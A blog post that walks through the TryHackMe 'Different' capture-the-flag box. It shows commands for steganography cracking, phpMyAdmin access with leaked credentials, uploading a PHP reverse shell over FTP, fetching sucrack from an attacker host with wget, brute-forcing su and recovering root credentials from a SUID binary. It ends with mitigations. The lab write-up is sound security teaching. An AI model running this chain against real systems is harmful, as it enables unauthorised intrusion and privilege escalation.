DEV Community

Cover image for TryHackMe : Different CTF writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Different CTF writeup

Summary

Different CTF is an easy-rated Linux box built around a WordPress install with an
exposed wp-config.php, an FTP service reachable with credentials hidden inside a
steganographic image, and a custom SUID binary that gates root access behind another
layer of encoding. The path to root involves chaining FTP creds -> phpMyAdmin ->
database recon -> subdomain discovery -> a webshell over FTP upload -> an offline
password crack against su -> and finally decoding a custom SUID binary's hint
through CyberChef to recover the root password.

Target: <MACHINE_IP> (adana.thm)


1. Reconnaissance

Started with a full port scan:

nmap -A -p- <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.6
|_http-title: "Hello World &#8211; Just another WordPress site"
Enter fullscreen mode Exit fullscreen mode

FTP and a WordPress 5.6 site on Apache 2.4.29. Added the hostname to /etc/hosts
right away since the site referenced adana.thm in redirects later on:

echo '<MACHINE_IP> adana.thm' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

1.1 Directory brute force

Ran dirsearch first, then gobuster against the vhost once it resolved:

dirsearch -u http://<MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode
[..snip..]
200 -    0B  - /wp-config.php
200 -  504B  - /wp-admin/install.php
301 -  319B  - /phpmyadmin  ->  http://<MACHINE_IP>/phpmyadmin/
[..snip..]
Enter fullscreen mode Exit fullscreen mode

Two things stood out immediately:

  • /wp-config.php returning 200 - 0B (PHP is executing it, so no leak over HTTP by itself, but worth remembering)
  • /wp-admin/install.php returning 200 - 504B instead of a redirect, which usually means WordPress isn't fully "installed" from its own point of view

gobuster against the vhost turned up an extra directory that dirsearch had missed:

gobuster dir -u http://adana.thm/ -w /usr/share/wordlists/dirb/big.txt
Enter fullscreen mode Exit fullscreen mode
announcements        (Status: 301) [Size: 314] [--> http://adana.thm/announcements/]
javascript           (Status: 301) [Size: 311] [--> http://adana.thm/javascript/]
phpmyadmin           (Status: 301) [Size: 311] [--> http://adana.thm/phpmyadmin/]
wp-admin              (Status: 301) [Size: 309]
wp-content             (Status: 301) [Size: 311]
wp-includes            (Status: 312)
Enter fullscreen mode Exit fullscreen mode

/announcements was the interesting one, nothing WordPress-related about the name.


2. Steganography rabbit hole

Browsing /announcements/ gave a directory listing:

curl http://adana.thm/announcements/
Enter fullscreen mode Exit fullscreen mode
<a href="austrailian-bulldog-ant.jpg">austrailian-bulldog-ant.jpg</a>   58K
<a href="wordlist.txt">wordlist.txt</a>                                394K
Enter fullscreen mode Exit fullscreen mode

An image sitting right next to a wordlist is about as strong a hint as CTFs get, so
this was steghide territory. Pulled both files down:

curl http://adana.thm/announcements/austrailian-bulldog-ant.jpg --output ant.jpg
curl http://adana.thm/announcements/wordlist.txt --output wordlist.txt
Enter fullscreen mode Exit fullscreen mode

exiftool on the image came back clean, nothing embedded in metadata, so moved
straight to cracking the steg password with the provided wordlist:

stegcracker ant.jpg wordlist.txt
Enter fullscreen mode Exit fullscreen mode
Successfully cracked file with password: 123adanaantinwar
Tried 49316 passwords
Your file has been written to: ant.jpg.out
Enter fullscreen mode Exit fullscreen mode

The extracted file was base64:

cat ant.jpg.out
Enter fullscreen mode Exit fullscreen mode
RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=
Enter fullscreen mode Exit fullscreen mode
cat ant.jpg.out | base64 -d
Enter fullscreen mode Exit fullscreen mode
FTP-LOGIN
USER: hakanftp
PASS: 123adanacrack
Enter fullscreen mode Exit fullscreen mode

FTP credentials, straight out of a picture of an ant. Noted the recurring
123adana... prefix pattern in these passwords, it comes back later.


3. FTP access and WordPress config leak

ftp adana.thm 21
Enter fullscreen mode Exit fullscreen mode

Logged in as hakanftp and found the web root sitting there, fully accessible:

ftp> ls -la
Enter fullscreen mode Exit fullscreen mode
-rw-------    1 1001     1001           88 Jan 13  2021 .bash_history
-rw-r--r--    1 1001     1001          554 Jan 10  2021 .htaccess
drwxr-xr-x    2 0        0            4096 Jan 14  2021 announcements
-rw-r--r--    1 0        0            3194 Jan 11  2021 wp-config.php
[..snip..]
Enter fullscreen mode Exit fullscreen mode

.bash_history was tiny but readable:

ftp> get .bash_history
Enter fullscreen mode Exit fullscreen mode
id
su root
ls
cd ..
[..snip..]
Enter fullscreen mode Exit fullscreen mode

Not much actionable there beyond confirming su root is a thing people do on this
box. The real prize was wp-config.php:

ftp> get wp-config.php
Enter fullscreen mode Exit fullscreen mode
define( 'DB_NAME', 'phpmyadmin1' );
define( 'DB_USER', 'phpmyadmin' );
define( 'DB_PASSWORD', '12345' );
define( 'DB_HOST', 'localhost' );
Enter fullscreen mode Exit fullscreen mode

Database creds in plaintext, and phpMyAdmin was already sitting exposed at
/phpmyadmin/.


4. phpMyAdmin -> subdomain discovery

Logged into phpMyAdmin with phpmyadmin:12345.

![phpMyAdmin login]

Landed on the server overview, confirming MySQL 5.7.32 / Apache 2.4.29 / PHP 7.2.24.

Browsed to the phpmyadmin1 database, wp_options table, and the siteurl /
home rows both pointed somewhere unexpected:

siteurl  ->  http://subdomain.adana.thm
home     ->  http://subdomain.adana.thm
Enter fullscreen mode Exit fullscreen mode

Not adana.thm itself, a subdomain. This explained why an earlier attempt to drop a
webshell at http://adana.thm/revshell.php came back 404 Not Found, wrong vhost
entirely. Added the subdomain to /etc/hosts and moved on.


5. Webshell via FTP upload -> initial foothold

With write access over FTP as hakanftp, uploaded a PHP reverse shell directly into
the web root:

ftp> put revshell.php
ftp> chmod 777 revshell.php
Enter fullscreen mode Exit fullscreen mode

Started a listener and hit the shell on the correct vhost this time:

penelope -p 4444 listen
Enter fullscreen mode Exit fullscreen mode
[+] [New Reverse Shell] => ubuntu <ATTACKER_VISIBLE_IP> Linux-x86_64 www-data(33)
Enter fullscreen mode Exit fullscreen mode
www-data@ubuntu:/$ whoami
www-data
www-data@ubuntu:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Confirmed there are two web roots on this box, /var/www/html (the main site) and
/var/www/subdomain (where the shell landed):

www-data@ubuntu:/$ ls /var/www
html  subdomain
Enter fullscreen mode Exit fullscreen mode

The web flag was sitting in the main site's root:

www-data@ubuntu:/$ cat /var/www/html/wwe3bbfla4g.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

/etc/passwd showed the two accounts of interest:

root:x:0:0:root:/root:/bin/bash
hakanbey:x:1000:1000:hakanbey:/home/hakanbey:/bin/bash
hakanftp:x:1001:1001:,,,:/var/www/subdomain:/bin/bash
Enter fullscreen mode Exit fullscreen mode

/home/hakanbey was permission-denied as www-data, so privesc from here needed
another angle.


6. Bruteforcing su for hakanbey

find / -perm -4000 didn't turn up anything useful yet (the interesting SUID binary
shows up later, in /usr/bin, readable only after becoming hakanbey). sudo -l
wasn't available to www-data at all. With hakanbey's password unknown, and the
strong 123adana... pattern seen twice already, the plan was to bruteforce su
locally using sucrack, seeded with a wordlist built from that pattern:

sed 's/^/123adana/' wordlist.txt > new_wordlist.txt
Enter fullscreen mode Exit fullscreen mode

6.1 First attempt: precompiled binary, wrong glibc

Grabbed a precompiled sucrack from a local python http.server and tried to run it
on the target:

www-data@ubuntu:/tmp$ ./sucrack -u hakanbey -t 8 -w new_wordlist.txt
Enter fullscreen mode Exit fullscreen mode
./sucrack: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./sucrack)
Enter fullscreen mode Exit fullscreen mode

The target's glibc (2.27, an 18.04 box) was too old for the binary I'd grabbed from
my Kali box. Dead end, needed to compile from source against the target's own
toolchain instead.

6.2 Building sucrack from source on the target

wget http://<ATTACKER_IP>/sucrack_1.2.3.orig.tar.gz
tar xf sucrack_1.2.3.orig.tar.gz
cd sucrack-1.2.3
./configure
make
Enter fullscreen mode Exit fullscreen mode

The stock make failed at the link stage:

sucrack-worker.o: In function `worker_spawn':
worker.c:113: undefined reference to `pthread_create'
collect2: error: ld returned 1 exit status
Enter fullscreen mode Exit fullscreen mode

Missing -lpthread on the final link command for some reason (autotools quirk on
this older toolchain). Linked it manually instead:

cd src
gcc -g -O2 -o sucrack sucrack-sucrack.o sucrack-worker.o sucrack-dictionary.o \
  sucrack-pty.o sucrack-su.o sucrack-rewriter.o sucrack-util.o sucrack-stat.o \
  sucrack-rules.o -lpthread
chmod +x sucrack
Enter fullscreen mode Exit fullscreen mode

That produced a working binary built natively against the target's glibc.

6.3 Cracking the password

./sucrack -w 100 -u hakanbey ../../new_wordlist.txt
Enter fullscreen mode Exit fullscreen mode
password is: 123adanasubaru
Enter fullscreen mode Exit fullscreen mode
su hakanbey
Enter fullscreen mode Exit fullscreen mode
(remote) hakanbey@ubuntu:/var/www$ whoami
hakanbey
(remote) hakanbey@ubuntu:/var/www$ id
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
Enter fullscreen mode Exit fullscreen mode

Grabbed the user flag:

cat /home/hakanbey/user.txt
Enter fullscreen mode Exit fullscreen mode
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

7. Root: the custom SUID binary

sudo -l for hakanbey came back empty. Enumerated SUID binaries again, this time
with hakanbey's broader read access, and one stood out among the usual system
binaries:

find / -perm -4000 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/usr/bin/binary
Enter fullscreen mode Exit fullscreen mode
ls -la /usr/bin/binary
Enter fullscreen mode Exit fullscreen mode
-r-srwx--- 1 root hakanbey 12984 Jan 14  2021 /usr/bin/binary
Enter fullscreen mode Exit fullscreen mode

Owned by root, SUID, and group-executable by hakanbey specifically. Pulled apart
its strings before running it:

strings /usr/bin/binary | head -50
Enter fullscreen mode Exit fullscreen mode
I think you should enter the correct string here ==>
/root/hint.txt
Hint! : %s
/root/root.jpg
Unable to open source!
/home/hakanbey/root.jpg
Copy /root/root.jpg ==> /home/hakanbey/root.jpg
Enter fullscreen mode Exit fullscreen mode

Looked like a gated file-copy: enter the right passphrase, and it copies
/root/root.jpg into hakanbey's home directory, printing a hint along the way.
Rather than guess, tried ltrace against it to watch how the comparison string gets
built at runtime, and threw in a ;id as the input just to see how it handled
unexpected input along the way:

ltrace /usr/bin/binary
Enter fullscreen mode Exit fullscreen mode
strcat("war", "zone")                                                = "warzone"
strcat("warzone", "in")                                              = "warzonein"
strcat("warzonein", "ada")                                           = "warzoneinada"
strcat("warzoneinada", "na")                                         = "warzoneinadana"
printf("I think you should enter the cor"...)                        = 52
__isoc99_scanf(0x5618ba926edd, 0x7fffd21eb9e0, 0, 0I think you should enter the correct string here ==>;id
)                 = 1
strcmp(";id", "warzoneinadana")                                      = -60
strcat("pki", "l")                                                   = "pkil"
strcat("pkil", "l")                                                  = "pkill"
strcat("pkill", " -9")                                               = "pkill -9"
strcat("pkill -9", " -t")                                            = "pkill -9 -t"
strcat("pkill -9 -t", " pts")                                        = "pkill -9 -t pts"
strcat("pkill -9 -t pts", "/0")                                      = "pkill -9 -t pts/0"
system("pkill -9 -t pts/0"pkill: killing pid 2868 failed: Operation not permitted
pkill: killing pid 7487 failed: Operation not permitted
[00:21:52] warning: <ATTACKER_IP>:57526: connection reset
Enter fullscreen mode Exit fullscreen mode

Two useful things fall out of this trace. First, the binary builds the expected
passphrase piecemeal via a chain of strcat calls, "war" + "zone" + "in" + "ada" +
"na"
= "warzoneinadana", then strcmps it against whatever was typed in. No need
to guess the pattern by hand, ltrace just hands you the literal comparison value.
Second, entering ;id as a wrong guess triggers a punitive system("pkill -9 -t
pts/0")
that kills the current pty (a crude anti-tampering measure, and also a hint
that the input isn't sanitized before hitting something command-related, though it
didn't pan out as an injection point here since the killed session interrupted
things before that could be explored further).

With the real passphrase in hand from the trace, ran the binary properly:

/usr/bin/binary
Enter fullscreen mode Exit fullscreen mode
I think you should enter the correct string here ==>warzoneinadana
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
Copy /root/root.jpg ==> /home/hakanbey/root.jpg
Enter fullscreen mode Exit fullscreen mode

Correct passphrase (warzoneinadana), and a hint pointing straight at hex-editing
the copied JPEG and running it through CyberChef.

7.1 Pulling the hidden bytes

Followed the hint and dumped 16 bytes starting at offset 0x20 in the copied
root.jpg:

xxd -s 0x00000020 -l 16 -p root.jpg
Enter fullscreen mode Exit fullscreen mode
fee99d3d79185ffc826ddf1c69acc275
Enter fullscreen mode Exit fullscreen mode

7.2 Decoding in CyberChef

Fed that hex string into CyberChef with a two-step recipe: From Hex (Auto
delimiter) into To Base85 with a custom alphabet (!-u).

Output:

root:Go0odJo0BbBro0o
Enter fullscreen mode Exit fullscreen mode

A user:password pair for root, hidden behind hex offsets and a non-standard Base85
alphabet, a nice final twist for an "easy" box.

7.3 Root

su root
Enter fullscreen mode Exit fullscreen mode
root@ubuntu:~# cat root.txt
Enter fullscreen mode Exit fullscreen mode
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Root achieved.


Key Vulnerabilities

# Vulnerability Impact
1 JPEG on an unauthenticated directory listing conceals steghide-protected FTP credentials, cracked with a provided wordlist Initial FTP access as hakanftp
2 wp-config.php readable in plaintext over FTP (world-readable file permissions) Database credentials disclosure
3 phpMyAdmin exposed with weak/default credentials (phpmyadmin:12345) Full database read/write, discovery of hidden subdomain vhost
4 FTP account has write access to the live web root of a second vhost Arbitrary PHP webshell upload -> RCE as www-data
5 Weak, guessable su password for hakanbey, following a predictable pattern seen elsewhere on the box Local privilege escalation via offline/local su bruteforce
6 Custom root-owned SUID binary gated by a weak hardcoded passphrase, leaking a further encoded root credential Privilege escalation to root

Attack Chain

 [Nmap: FTP 21 + WordPress 80]
              |
              v
 [/announcements: ant.jpg + wordlist.txt]
              |  stegcracker + wordlist
              v
 [steg payload -> base64 -> FTP creds: hakanftp]
              |
              v
 [FTP login] --> [.bash_history hint] --> [wp-config.php: DB creds]
              |
              v
 [phpMyAdmin login: phpmyadmin/12345]
              |
              v
 [wp_options: siteurl -> subdomain.adana.thm]
              |
              v
 [FTP upload revshell.php to subdomain webroot]
              |
              v
 [RCE as www-data] --> [web flag]
              |
              v
 [sucrack (built from source) bruteforces su for hakanbey]
              |
              v
 [su hakanbey] --> [user flag]
              |
              v
 [/usr/bin/binary SUID: passphrase "warzoneinadana"]
              |
              v
 [hex dump root.jpg @0x20 -> CyberChef From Hex -> To Base85 (custom alphabet)]
              |
              v
 [root credentials] --> [su root] --> [root flag]
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Do not store credentials, even "hidden" ones, inside images served from a world-readable directory. Steganography is not a substitute for access control.
  • Restrict FTP account permissions to the minimum required; hakanftp should not have had read access to wp-config.php or write access to a live web root.
  • Set restrictive file permissions on wp-config.php (640 or tighter, owned by the web server user only) so credentials aren't recoverable via any file-read path.
  • Remove or properly secure phpMyAdmin in production; if it must be exposed, enforce strong, unique credentials and restrict access by IP.
  • Don't reuse predictable password patterns across services; a leaked password fragment on one account should not make other accounts guessable.
  • Enforce strong, randomly generated passwords for all local accounts subject to su, and consider rate-limiting or disabling su bruteforce vectors (e.g. pam_tally2/faillock).
  • Avoid custom SUID binaries that gate access with hardcoded or weak secrets; any embedded "hint" mechanism defeats the purpose of the control. Prefer proper sudo rules with least privilege instead of bespoke SUID tooling.

Top comments (0)